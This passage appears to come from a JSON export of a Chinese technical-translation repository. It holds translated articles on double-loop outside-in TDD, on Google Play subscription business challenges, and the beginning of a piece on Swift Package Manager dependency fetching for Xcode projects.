[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/outside-in-development-with-double-loop-tdd.md",
    "content": "> * 原文地址：[Outside-In development with Double Loop TDD](http://coding-is-like-cooking.info/2013/04/outside-in-development-with-double-loop-tdd/)\n> * 原文作者：[Emily Bache](http://coding-is-like-cooking.info)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/outside-in-development-with-double-loop-tdd.md](https://github.com/xitu/gold-miner/blob/master/TODO/outside-in-development-with-double-loop-tdd.md)\n> * 译者：[Yong Li](https://github.com/NeilLi1992)\n> * 校对者：[Liao Malin](https://github.com/liaodalin19903)\n\n# 利用双环 TDD 进行由外向内的开发\n\n在我上一篇 [文章](http://coding-is-like-cooking.info/2013/04/the-london-school-of-test-driven-development/ \"The London School of Test Driven Development\") 中，我开始讨论伦敦派测试驱动开发（TDD），以及我认为它和传统 TDD 不同的两个特点。第一个是利用双环 TDD 进行由外向内的开发，我将在这篇文章中详细讨论。第二点是「说，而不是问」的面向对象设计，我将在 [下一篇文章](http://coding-is-like-cooking.info/2013/05/tell-dont-ask-object-oriented-design/) 中再作讨论。\n\n### 双环 TDD\n\n[![london_school_001](http://coding-is-like-cooking.info/wp-content/uploads/2013/05/london_school_001-300x162.jpg)](http://coding-is-like-cooking.info/wp-content/uploads/2013/05/london_school_001.jpg)\n\n当你进行双环 TDD 时，你在内环上花费的时间是以分钟计的，而在外环上花费的时间是以小时或天计的。外环测试是从系统的外部用户的角度来写的，通常覆盖了粗粒度的功能，并且已部署在真实的（或至少接近真实的）环境中。在 [我的书中](https://leanpub.com/codingdojohandbook) 我把这类测试称之为「指导测试」（Guiding Test），而 Freeman 和 Pryce 称之为 「验收测试」（Acceptance Tests）。这些测试应当在客户期望不能满足时失败 —— 换而言之，它们提供了良好的回溯保护。它们也记载了系统应有的行为。（另见我的文章「[敏捷自动化测试设计的原则](http://coding-is-like-cooking.info/2013/03/principles-for-agile-test-automation-2nd-edition/)」）\n\n我不认为双环 TDD 是伦敦派 TDD 特有的，我相信传统 TDD 开发者也会采用。这一理念早在 Kent Beck 的第一本关于极限编程的书中就存在了。但我认为伦敦派的独到之处在于由外向内的设计，并且辅之以 mock 的使用。\n\n### 由外向内的设计\n\n如果你使用双环  TDD，通常你会先写一个指导测试来体现一个用户是如何与你的系统交互的。这个测试会帮助你确定位于最顶层，被首先调用的，作为需求功能的入口点的函数或类。这常常是\b一个 GUI 组件，一个网页上的链接，或是一个命令行标志。\n\n而对伦敦派 TDD 而言，等你开始设计那些由该 GUI 组件、网页链接或是命令行标志来调用的内环 TDD 的类或方法的时候，你很快就会意识到这些新的代码无法由自己来实现整块功能，而是需要其它的协作类来共同完成。\n\n[![london_school_003](http://coding-is-like-cooking.info/wp-content/uploads/2013/05/london_school_003-300x147.jpg)](http://coding-is-like-cooking.info/wp-content/uploads/2013/05/london_school_003.jpg)\n\n**用户观察系统，并且期望某些功能。这意味着系统\b的边界需要一个新的类。\b而这个类又进而需要更多尚未存在的协作类。**\n\n这些协作类\b尚不存在，或者至少不能提供你需要的全部功能。与其在此时暂停 TDD 而去立刻开发这些新的类，你其实可以在测试中将它们\b替换为 mock。在你将接口和协议开发到满足需求之前，更换 mock 和实验代码通常是很容易的。如此一来，当你在设计测试用例的同时，你也在设计生产代码了。\n\n[![london_school_004](http://coding-is-like-cooking.info/wp-content/uploads/2013/05/london_school_004-300x145.jpg)](http://coding-is-like-cooking.info/wp-content/uploads/2013/05/london_school_004.jpg)\n\n**你可以将协作对象替换为 mock，这样你就能设计它们之间的接口和协议了。**\n\n当你对你的设计满意了，并且测试也通过了以后，你就可以深入下一层开始真正实现一个协作类。当然，如果某个类又进一步需要其它协作者，你可以再将它们替换为 mock 来进一步设计这些接口。这一方法可以持续整个系统设计，通达各个架构层和抽象层。\n\n[![london_school_005](http://coding-is-like-cooking.info/wp-content/uploads/2013/05/london_school_005-300x186.jpg)](http://coding-is-like-cooking.info/wp-content/uploads/2013/05/london_school_005.jpg)\n\n**你已经完成了系统边界的类，现在你可以开发它的某个协作类，并且用 mock 替换这个类进一步需要的协作类。**\n\n这一工作方式可以让你把问题分解成可控的部件，在你每开始一个新部件之前都能把当前的部件详细规定、充分测试。你能从关注用户需求开始，然后由外向内地构建，在系统中一个部件一个部件地追踪用户交互的全过程，直到指导测试可以通过。通常在指导测试中不会将系统的部件替换成 mock，这样最终当指导测试通过的时候你就可以确信你没有忘记实现任何一个协作类。\n\n### 在传统 TDD 中由外向内\n\n在传统 TDD 的方法中也可以由外向内，但是用一种几乎不需要 mock 的方法。存在几种不同的策略来解决「协作类尚不存在」的问题。其中一种是从退化的用例开始设计，此时从用户视角来看几乎什么都没发生。这是一种当输出比实际用例，或者愉快路径\b要\b简单得多的时候的特例。这样你就能只用\b最基础的空实现，或者假的返回值来构建这一简化版的功能需求所需要的类的结构和方法。一旦结构有了，你就可以充实它（或许由内而外地进行也行）。\n\n另外一种在传统 TDD 中由外向内的策略是，先由外向内地写测试，而当你发现你无法在某个协作类被实现之前使测试通过之时，就注释掉那个测试，转而去实现所需的协作类。最终你会发现你可以仅凭已经存在的协作者，就完全实现某个类，由此再逐步向上实现。\n\n由外向内\b有时在传统 TDD 方法中也许根本行不通。你会从系统中心的某个类开始，挑出某个仅凭已有的协作者就能完全实现和测试的部件。这通常是应用的领域模型的中心的一个类。当它完成以后，你再由中心向外继续开发系统，一个一个地添加新的类。因为只使用已有的类，你就几乎不需要使用 mock。最终你也会发现你完成了所有功能，也通过了指导测试。\n\n### 优缺点\n\n我认为由外向内的方法是有显著优势的。它能帮助你持续关注用户的真正所需，使你构建一些真正有用的东西，而避免浪费时间粉饰打磨用户不需要的。我认为无论对传统 TDD 还是伦敦派 TDD 来说，由外向内的方法都需要技巧和训练。学会如何将功能拆解成你能一步一步来开发和设计的增量部件并非易事。但是如果你由中心向外工作，就存在你会构建用户不需要的东西的风险，或者当你抵达外层却最终发现系统并不适用，而不得不\b进行重构。\n\n然而，假设你已经是由外向内工作的了，我仍认为，取决于你是在真正的生产代码中编写假的实现，还是只在 mock 中写，这两者是有所不同的。如果你在生产代码中写，你就逐步需要把它们取代为真正的功能。而如果你把假的功能\b放在 mock 中，它们就能永远存在于测试代码中，即使当真的功能已经实现了，它们还在那儿。这对于程序文档很有用，也能让你的测试得以继续快速执行。\n\n话虽如此，也存在一些关于在测试中使用了很多 mock 之后的可维护性的争议。当设计更改时，除了生产代码外还要更新所有的 mock 也许代价太大了。一旦真正的实现完成了，或许内环测试就应该被删除？毕竟指导测试已经能提供你需要的全部回溯\b保护了，因此那些仅仅对你最初的设计有用的测试并不值得保留？我不觉得这样做就是毫无指摘的。从我和一些伦敦派支持者的讨论来看，即使他们也会删除部分的测试，但他们并不会删除所有使用了 mock 的测试。\n\n我也仍在尝试理解这些争端，并且试着找出在怎样的场合里伦敦派 TDD 可以带来最大的收益。我希望我已经概述了由外向内的开发中，各种方法的区别。在我的\b下篇文章中，我将探讨伦敦派 TDD 是如何推广[「说，而不是问」的面向对象设计](http://coding-is-like-cooking.info/2013/05/tell-dont-ask-object-oriented-design/) 的。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/outsmarting-subscription-challenges.md",
    "content": "> * 原文地址：[Outsmarting subscription challenges: Solutions to 10 common challenges developers face with subscription businesses](https://medium.com/googleplaydev/outsmarting-subscription-challenges-711216b6292c)\n> * 原文作者：[George Audi](https://medium.com/@georgeaudi?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/outsmarting-subscription-challenges.md](https://github.com/xitu/gold-miner/blob/master/TODO/outsmarting-subscription-challenges.md)\n> * 译者：[pot-code](https://github.com/pot-code)\n> * 校对者：[Wangalan30](https://github.com/Wangalan30), [IllllllIIl](https://github.com/IllllllIIl)\n\n# 智对订阅难点\n\n## 教你如何应对工作中 10 种常见订阅问题\n\n![](https://cdn-images-1.medium.com/max/800/0*VDQQKZ8jM8fvB6z7.)\n\n订阅业务十分复杂，要想经营好并不容易。对此我也关注了一段时间，总结了一些工作中大家基本都会碰到的问题，希望这些经验能给正面临这些问题的朋友们一些启发和思考。在看文章前，我假设你已经有 Google Play 订阅业务的运营经验，所以基础的东西我就不讲了，本文旨在将你解决订阅问题的能力再拔高一层，最终能融会贯通，熟练运用，真正做到“智对之”。\n\n总的来说，订阅问题可以分为三类：1）引流和转化、2）黏度和挽回、3）定价，这三类问题对订阅业务利润的影响可谓是深远又重大。\n\n### **引流和转化**\n\n#### **难点 1**：“不知客从何处来”\n\n![](https://cdn-images-1.medium.com/max/800/0*jK7Jet9zQQNpoGy7.)\n\n用户来自哪个市场？哪个渠道的？哪部设备的？没有这些信息，你就没法针对性的进行市场调研、不知道侧重在哪个渠道、不知道哪个设备平台的回报更大。\n\n针对这个问题，Google Play 最近在 Google Play Console 上面发布发表了几篇[**订阅报告**](https://android-developers.googleblog.com/search/label/subscriptions)，讲解了如何使用 Google Play Console 来对订阅信息进行可视化分析。目前，你可以在 Google Play Console 看到的数据有：\n\n*   哪个市场的安装／订阅量最高\n*   哪个渠道最能吸引用户订阅\n*   用户所在地区分布情况\n*   在同类应用中的表现\n\n#### **难点 2**：“用户对会员服务并不感冒”\n\n![](https://cdn-images-1.medium.com/max/800/0*gwlqCkHQx58lw6lp.)\n\n这里有两种解决方案，第一种是多样化切入应用的卖点所在。\n\n举个例子，健身类应用 [Freeletics](https://play.google.com/store/apps/developer?id=Freeletics&hl=en_GB&e=-EnableAppDetailsPageRedesign) 重新设计了它们的欢迎页，为了强调他们的卖点 —— 真正教你变强壮，他们采用问卷形式来挖掘用户健身的目的（像是为了练肌肉、减肥或是塑形），而不是一上来就直接列出这个 app 的所有功能，这样至少能提高 10% 的转化率。\n\n另一种方法同样也十分常见 —— 在用户购买前为他们提供**免费试用**。我们发现，[**78% 的会员都是先试用再订阅的**](http://services.google.com/fh/files/misc/subscription_apps_on_google_play.pdf)。值得一提的是，Google Play 也调整了试用政策，现在可以提供仅 3 天的试用期（以前最少 7 天）—— 一些边际成本比较高的商家可能会比较关心。\n\n#### **难点 3**：“用户支付中途放弃”\n\n![](https://cdn-images-1.medium.com/max/800/0*p3edHCauwiAoDg7p.)\n\n**Google Play Billing** 可以让你为超过 130 个国家和地区的用户提供可靠、便捷的支付体验。在下面的图示中，相比左侧冗杂、跳来跳去的支付流程，右侧显得更清爽、便捷的多，点两下就完成支付了。所以支付环节的无缝程度能很大的降低用户支付中途放弃的风险。\n\n![](https://cdn-images-1.medium.com/max/800/0*MVbUsr1w4H9uZFAC.)\n\n此外，从 2018 年 1 月 1 日开始，Google Play 将调整付费用户的交易税率，针对那些订阅超过一年的付费用户，税率下降到 15%。此举是为了凸显出那些拥有长期客户的商家，以便提供更好的用户体验。\n\n#### **难点 4**：“付费用户太少”\n\n![](https://cdn-images-1.medium.com/max/800/0*Z4bR3O6wG45Epx1f.)\n\n针对这个问题，可以使用[**推广价**](https://support.google.com/googleplay/android-developer/answer/140504?hl=en#intro)来吸引顾客，即在特殊节日进行打折。\n\n例如 [Cookpad](https://play.google.com/store/apps/details?id=com.mufumbo.android.recipe.search&hl=en_GB&e=-EnableAppDetailsPageRedesign)，一个在日本很火的烹饪 app，在每年的斋月（该月内伊斯兰教徒每日从黎明到日落禁食）放出 50% 的折扣价，相比平时，在这期间每天订阅的用户数能以至少 4.5 倍的速度增长。\n\n![](https://cdn-images-1.medium.com/max/800/0*qq5kcYw0fOg8cdsB.)\n\n### **黏度和挽回**\n\n#### **难点 5**：“用户缺乏黏性”\n\n![](https://cdn-images-1.medium.com/max/800/0*LuGZIoqgAlyQ33e5.)\n\n我接触过的商家多少都会碰到这方面的问题，如何才能提升用户黏度，是关系到公司订阅业务利润增长最起码的问题，对此，我总结出以下两种解决方案：\n\n第一种，使用成就系统，让用户在“玩”的过程中形成依赖感。要想效果明显，你需要注意以下几点：\n\n1.  评估用户希望达成的目标和你设计的目标。\n2.  用户达成一定目标后，要能以某种形式展现在用户的个人档里，满足用户的虚荣心。\n3.  可以考虑加入一些激励，必要的话也可以加入现金奖励。当用户的参与度达到了一定程度之后，可以向用户发放这些激励。\n4.  将真正有价值的激励限制在订阅付费用户范围内，从而减少付费用户的流失。\n\n以下是一个囊括了以上要素的语言学习类应用 [Duolingo](https://play.google.com/store/apps/details?id=com.duolingo&hl=en_GB&e=-EnableAppDetailsPageRedesign)。\n\n![](https://cdn-images-1.medium.com/max/800/0*-RGr53dMELlCf-D6.)\n\n第二种方式比较直白，直接告诉用户你这里提供了长期订阅套餐，这样，你只需要说服用户买单。比如，你告诉用户，订阅的时间越长越优惠，最好能突出显示长期订阅的月均消费和单月订阅的价差（不要让用户自己去算）。此外，你还可以使用漏斗推广模型，同时推出一些季度套餐 (这样能获得更高的 LTV)。\n\n例如韩国的付费点播平台 [WatchaPlay](https://play.google.com/store/apps/details?id=com.frograms.watcha&hl=en&e=-EnableAppDetailsPageRedesign)，就从原有的单月套餐发展成现在的四种套餐（1/3/6/12 个月），并且发现 40% 的用户选择了多月套餐。\n\n![](https://cdn-images-1.medium.com/max/800/0*3Sp8GzzykR1Fs1f2.)\n\n#### **难点 6**：“用户流失”\n\n![](https://cdn-images-1.medium.com/max/800/0*UMMjwcYUuBfrOpmE.)\n\n根据 [Google I/O ](https://android-developers.googleblog.com/2017/05/make-more-money-with-subscriptions-on.html?hl=mk)大会上的声明，Google Play Console 可以向开发者提供用户流失的原因：是用户主动还是被动（例如因为交易失败），甚至还能通知开发者用户卸载了你的应用。\n\n#### **难点 7**：“对用户的流失并不知情”\n\n![](https://cdn-images-1.medium.com/max/800/0*ObCXKkYnAo1NvF2U.)\n\n这个问题比前几个还要棘手，不过好在 Google play 提供了[**即时通知**](https://developer.android.com/google/play/billing/billing_subscriptions.html#realtime-notifications) 的功能，当用户的订阅状态发生变更时会即时通知开发者，方便尽快作出回应。\n\n#### **难点 8**：“用户不再续订”\n\n![](https://cdn-images-1.medium.com/max/800/0*FP9LQ38OgWkTpaOW.)\n\n因为有了上面提到的**即时通知**的功能，你还有机会让用户回头。例如，你可以再次向用户确认是否真的不再续订，或者再多宣传宣传订阅服务能带来的各种好处。\n\n[Anghami](https://play.google.com/store/apps/details?id=com.anghami&hl=en_GB&e=-EnableAppDetailsPageRedesign) 是中东的一个音乐 app，在用户订阅到期时，它强调用户将失去一个重要的服务 —— 离线模式，并提醒用户，如果不继续订阅，那么就访问不到已下载的内容了。大脑训练应用 [Lumosity](https://www.google.co.uk/search?q=Lumosity+google+play&oq=Lumosity+google+play&aqs=chrome..69i57j0l5.1628j0j1&sourceid=chrome&ie=UTF-8) 则是向用户发送邮件，告诉用户又错过了哪些新内容。\n\n为了方便订阅用户的回归，Google Play 提供了[**订阅恢复**](https://developer.android.com/google/play/billing/billing_subscriptions.html#restore)的功能，可以让你使用以下方式来挽留用户：\n\n1. 用户取消了订阅。\n2. Google Play 即时通知你。\n3. 你向用户发送挽留的信息。\n4. 如果挽留成功，用户只需点击一个按钮就能立刻恢复订阅（见下图）。\n\n![](https://cdn-images-1.medium.com/max/800/0*seGMbZYMvuwJOjmk.)\n\nGoogle Play 在这方面也在持续改进，建议时刻关注新的进展！\n\n#### **难点 9**：“交易失败”\n\n![](https://cdn-images-1.medium.com/max/800/0*5TxC7Yszcfj9LFJL.)\n\n前面讲的都是针对用户主动取消订阅而流失的情况，这里我要讲因支付失败而导致的问题，其原因可能是因为用户信用卡失效，或是支付流程出了点问题。\n\n对于这个问题同样有两种解决方案，分开或者结合使用都可以。\n\n第一种，在 Play Console 里启用宽限期，这样能给予用户 3 -7 天的宽限期来解决支付问题。统计得出，提供了宽限期的商家提高了至少 50% 因支付失败的客户回归率。\n\n我个人极力推荐各位开启宽限期，也就打开一个开关的事。尝试不同的期限，寻找最适合你的情况的时长。\n\n事情都有两面性，你开启了宽限期，用户可能因为存在宽限期而迟迟不付款，对此，你可以适当的施行一些惩措。例如，你可以开启 I/O 大会上提到的 [账户保持（account hold）](https://developer.android.com/google/play/billing/billing_subscriptions.html#account-holds)功能，这样，你可以暂时挂起他们的账户，直到他们付款为止。\n\n第二种是使用 [Univision NOW](https://play.google.com/store/apps/details?id=com.univision.univisionnow&hl=en_GB&e=-EnableAppDetailsPageRedesign) ，Univision NOW 可以在用户支付失败时提供一个弹窗，按钮链接到一个更新用户支付信息的快速通道。这个功能的方便之处就在于一旦用户修复或者更新了支付信息，所有被挂起的订阅都会立即恢复。\n\n![](https://cdn-images-1.medium.com/max/800/0*5vIqduvJtdzohpZb.)\n\n约会应用 [Tinder](https://play.google.com/store/apps/details?id=com.tinder&hl=en_GB) 作为账户保持（account hold）功能的最初尝试者之一，已经提高了 3 倍的回归率。\n\n![](https://cdn-images-1.medium.com/max/800/0*TNavY97X9WlQwn9T.)\n\n#### **难点 10**：“放着钱不赚”\n\n![](https://cdn-images-1.medium.com/max/800/0*_M3eu3-hGwOcgzg-.)\n\n不要忘了还有定价这个问题，我已经被问过很多次这个问题了。产品定价本身就是一门学科，也无怪乎开发者们不确定自己的定价是否合理。\n\n对此也有两种解决方案：\n\n第一种是[使用 Firebase 做远程配置](https://firebase.google.com/products/remote-config/)来测试不同定价的表现：\n\n1.  设置两个 SKU（最小货存单元）\n2.  针对不同的用户群体使用不同的价格配置\n3.  根据反馈结果得出最佳定价\n\n要记住一点，我们的目标是最大化用户黏度，不仅仅只是注册量而已，所以这个测试的时间周期可能会有点长。此外，你还要保证统计样本足够大，这样得出来的结果才有意义。\n\n第二种是提供一系列套餐计划，每种套餐包含不同的功能，也对应不同的价格。例如娱乐应用 [CBS](https://play.google.com/store/apps/details?id=com.cbs.app&hl=en_GB&e=-EnableAppDetailsPageRedesign) 为了迎合不同观众的需求，提供了含部分广告和不含广告两种套餐。那些对钱比较敏感的用户为了少花钱会更倾向于选择便宜的、但是包含部分广告的套餐，而对时间更敏感的用户则会用钱去换取时间 —— 购买无广告但是价格更高的套餐。不仅如此，CBS 还允许订阅用户在这两种套餐间无缝切换 —— 使用 Google Play billing 提供的[**套餐升降级（plan upgrades/downgrades）**](https://developer.android.com/google/play/billing/billing_subscriptions.html)功能（这也是我要说的第三种方案）\n\n讲的有点多，可能需要点时间消化，所以，为了方便需要快速阅读的读者，这里也提供了一份[**总结**](http://services.google.com/fh/files/misc/outsmarting_subs.pdf)。希望这些示例和经验不仅仅局限于解决你现在的问题，还能助你在此基础上将之发扬光大、不断改进，最终能完全摆脱这些问题。\n\n* * *\n\n### 谈谈你的看法\n\n你赞同我给出的解决方案吗？你碰到过其他的难题吗？你在引流和保持用户黏度方面有更好的方法吗？欢迎在评论区继续讨论这个问题，或着在发推时加上 #AskPlayDev 话题标签一起参与进来，我们会通过 [@GooglePlayDev](http://twitter.com/googleplaydev) 来答复你，在上面我们会发些教你如何在 Google Play 上获得成功的文章，期待你的关注！\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/package-manager-fetch.md",
    "content": "> * 原文地址：[Using 'swift package fetch' in an Xcode project](http://www.cocoawithlove.com/blog/package-manager-fetch.html)\n* 原文作者：[Matt Gallagher](http://www.cocoawithlove.com/about/)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[Gocy](https://github.com/Gocy015/)\n* 校对者：[atuooo](https://github.com/atuooo), [lovelyCiTY](https://github.com/lovelyCiTY)\n\n# 在 Xcode 项目中使用 swift package fetch #\n\n到目前为止，Cocoa with Love 的 git 仓库都使用“git subtrees”来管理相关依赖，所有的依赖都被拷贝并静态存放于依赖方目录下。我希望能找到一种更动态地依赖管理方式来代替现有的方案，同时保持对库使用者的不可见性。（译者注：[Cocoa with Love](https://www.cocoawithlove.com/)）\n\n我想要使用 Swift 包管理工具（Swift Package Manager）来解决这个问题，但我又不希望所有的仓库都必须依赖 Swift 包管理工具才能构建（build）。Swift 包管理工具所支持的构建范围相当有限，我可不愿意给我的库套上这些枷锁。\n\n在本文中，我会讨论一种混合（hybrid）的方法，Swift 包管理工具将替代手工配置 Xcode 项目的方案，充当获取依赖的幕后工具，同时，保持对原有“subtree”形式运行的目标平台和构建结构的支持。\n\n内容\n\n- [依赖管理](#依赖管理)\n- [展望未来](#展望未来)\n- [Swift package fetch](#swift-package-fetch)\n- [自动化脚本](#自动化脚本)\n- [来试试看吧](#来试试看吧)\n- [总结](#总结)\n\n## 依赖管理 ##\n\n我去年发布的 CwlSignal 库的依赖关系非常的简单：\n\nCwlCatchException ← CwlPreconditionTesting ← CwlUtils ← CwlSignal\n\n### Git subtree ###\n\n直到现在，我都一直在使用 [Git subtrees](https://github.com/git/git/blob/master/contrib/subtree/git-subtree.txt)。\n\n在本例中，你不需要分别单独地下载每个依赖；如果你看看 [CwlSignal 仓库早些时候的结构](https://github.com/mattgallagher/CwlSignal/tree/72d4a10656ff4c8de8083e88f8651c5f7d0b8e47)，就会发现它包含了 [CwlUtils](https://github.com/mattgallagher/CwlSignal/tree/72d4a10656ff4c8de8083e88f8651c5f7d0b8e47/CwlUtils)，其中又包含了 [CwlPreconditionTesting](https://github.com/mattgallagher/CwlSignal/tree/72d4a10656ff4c8de8083e88f8651c5f7d0b8e47/CwlUtils/CwlPreconditionTesting)，其中又包含了 [CwlCatchException](https://github.com/mattgallagher/CwlSignal/tree/72d4a10656ff4c8de8083e88f8651c5f7d0b8e47/CwlUtils/CwlPreconditionTesting/CwlCatchException)。这和手动将每个文件拷贝到仓库中有相似之处，但它的小优势在于：如果依赖发生了改变，我只需简单地调用一个 subtree pull 就可以将更新同步到依赖方了。\n\n这样的做法有着它的缺陷。在缺乏灵活性的树结构中，你必须沿着文件链，按顺序逐步拉取改动；你无法简单地用一个指令就更新所有的依赖。每个仓库都因为需要包含它的依赖而变得臃肿。而如果你无意间修改了依赖方的依赖树，那么在拉取依赖进行合并（merge）的时候也会遇到一些麻烦。\n\n对于依赖关系简单又轻便的 CwlSignal 库而言，这些都不是什么大问题，但这些问题和困扰我还是得指出来。\n\n### Git submodules ###\n\n我也可以试试 [git submodule](https://git-scm.com/docs/git-submodule)。理论上说，它能更动态地解决 git subtrees 所解决的问题。我觉得 git submodules 应该是一个理想的选择，但实际操作起来发现，git modules 对你的仓库的改变是可见（not transparent）的，而 git 那寒酸地处理方式会把一切弄得晦涩难懂。\n\n你有可能遇到 pull 和 push 指令顺序错乱而最终导致改动丢失的情况。改变依赖目标非常麻烦，而且通常需要你手动修改 “.git” 目录下的内容。GitHub 上面的“Download ZIP”功能变得毫无用处，因为 ZIP 文件就和其它大部分非 git 代码管理方式一样，会忽略对子模块的引用。\n\nsubmodules 的每个用户都要熟悉 submodule 的结构，并且每次都要微调 git 指令以确保拉取更新仓库的正确性，相比之下，git subtrees 中通常不需要注意这个问题。\n\n### 成熟的包管理工具 ###\n\n我当然也可以用一些成熟的包管理工具，像是 [CocoaPods](https://cocoapods.org) 或是 [Carthage](https://github.com/carthage/carthage)。我确实应该进一步改进对这些工具的兼容性，以满足部分 **希望** 使用它们的用户，但我不希望强迫 **所有** 用户都使用它们。站在自己的角度出发，我更希望能自己独立掌控工作流，而不是依赖这些工具，让它们来控制工作区（workspace）或是构建配置（build settings）。\n\n### Swift 包管理工具 ###\n\n于是我选择了 [Swift 包管理工具](https://github.com/apple/swift-package-manager)；一个自带构建系统和依赖管理的综合方案。\n\n和我前文提到的几个选项相比，Swift 包管理工具提供了新的特性吗？呃，它确实提供了一个全新的构建系统，但我的主要目标是依赖管理；我并没有想找一个构建系统。\n\n使用 Swift 包管理工具不会出现像 git submodules 那样的诡异的问题，同时，它内嵌于 Swift 中，所以比起 CocoaPods 和 Carthage，它是个更自然的选择 - 尽管我还是不想让使用我的库的用户也必须使用 Swift 包管理工具。\n\n有没有可能只使用 Swift 包管理工具的依赖管理功能，而不使用它的构建系统？\n\n## 展望未来 ##\n\n我刚说“我的主要目标是依赖管理；我并没有想找一个构建系统”的时候，其实我撒了小谎。我 **理应** 是由于它出色的依赖管理能力而青睐它的，但老实说，我也很想试试 Swift 包管理工具的构建系统。\n\n就像 [Apache Maven](https://maven.apache.org) 和 [Rust Cargo](https://github.com/rust-lang/cargo)，Swift 包管理工具包含了一个具有约定准则的构建系统。尽管一些元数据是在顶层清单（top-level manifest）中声明的，构建过程本身则尽可能由目录下的文件组织结构决定。我可是这种构建系统的忠实粉丝；构建不应该需要大量的配置。如果我们的目录结构遵循了约定，系统应该能够推测出大部分（甚至全部）的构建参数，而不是让开发者每次都列举出方方面面的参数。\n\n我期待着 Swift 包管理工具项目成为 Xcode 模板工程的一种。自动化保持文件在各自模块目录下的逻辑，而不是随意存储在文件系统中却又要持续进行维护。构建参数通过推测生成，而不是在长串的标签和检查器中设置。依赖关系像 Xcode 中的“Debug Memory Graph”一样可视化展示。\n\n但很明显，Xcode 暂时还不支持 Swift 包管理工具（Swift 包管理工具支持 Xcode 但我对反向支持更感兴趣）。而且说实话，在 Swift 包管理工具支持构建应用，支持在 iOS 构建，支持在 watchOS 构建，支持在 tvOS 上构建，支持混语言模块构建，支持含有资源包的构建，并能够管理独立的测试依赖或跨模块内联之前，它甚至无法满足简单如 CwlSignal 库的所有需求。\n\n（译者注：通过 Swift 包管理工具生成的项目，支持使用 `swift package generate-xcodeproj` 指令转化成普通的 Xcode 项目，但目前 Xcode 项目无法转化成 Swift 包管理工具格式的项目）\n\n但我依然支持你把 Swift 包管理工具作为 **次要** 构建选择，并希望几年后，它能够成为我的 **主要** 选择。\n\n\n## Swift package fetch ##\n\n想使用 Swift 包管理工具的依赖管理功能，但不将其作为首要构建系统会导致一些问题。\n\n总的来说我们要完成以下几件事：\n\n1. 对 Swift 包管理工具进行支持（包括构建和依赖获取）。\n2. 让 Xcode 工程依赖 Swift 包管理工具下载的文件。\n3. 确保上述操作对用户的不可见性。\n\n### 1. 对 Swift 包管理工具进行支持 ###\n\n配置好 “Package.swift” 文件，向仓库中添加语义上的版本标签并确保依赖的正确拉取只是微不足道的工作。\n\n真正的重点是下列任务（排列顺序无关）：\n\n1. 将项目目录层级调整为遵循 Swift 包管理工具约定中规定的结构（本例中涉及所有项目）。\n2. 将 Objective-C 和 Swift 混编的模块拆分为独立模块（本例中涉及除 CwlSignal 外所有项目）。\n3. 确保在 `#if SWIFT_PACKAGE` 判断下，`import` 步骤 2 中所创建的新模块（本例中涉及除 CwlSignal 外所有项目）。\n4. 将 “.h” 头文件拆分出来，这样我们就可以通过一个 Xcode 全局头文件或是 Swift-PM 中的模块头文件来一并引入它们（本例中涉及除 CwlSignal 外所有项目）。\n5. 确保将步骤 2 中所影响到的模块中的 `internal` 关键字改为 `public`，以确保它们能被正常访问（本例中涉及 CwlCatchException）。\n6. 移除所有对 `DEBUG` 或其他非 Swift 包管理工具设置条件的依赖（本例中涉及 CwlDeferredWork 和 CwlUtils、CwlSignal 的测试文件）。\n7. 对于具有双向依赖关系的 Objective-C 和 Swift 文件，将 Objective-C 中的依赖改为动态寻找以避免模块循环依赖（本例中涉及 CwlMachBadInstructionHandler）。\n8. 移动 Info.plist 文件。这些文件是 Swift 包管理工具自动生成的，但它们必须被手动迁移到 Xcode 中 - Swift 包管理工具必须设置成忽略这些文件（本例中涉及所有项目）。\n\n另外，学习了解 Swift 包管理工具的约定和工作模式，并让其引导构建的某些方面的过程也花了我们不少工夫。\n\n### 2. 让 Xcode 工程依赖 Swift 包管理工具下载的文件\n\n在 Swift 3.0 版本中，依赖都被放置在 “./Packages/ModuleName-X.Y.Z” 目录下，X、Y、Z 是相应的语义版本号。显然，这个路径会随着依赖版本的改变而改变。\n\n在 Swift 3.1 以及更新的版本中，依赖被放置在 “./.build/checkout/ModuleName-XXXXXXXX” 目录下，其中 XXXXXXXX 是仓库 URL 的 hash 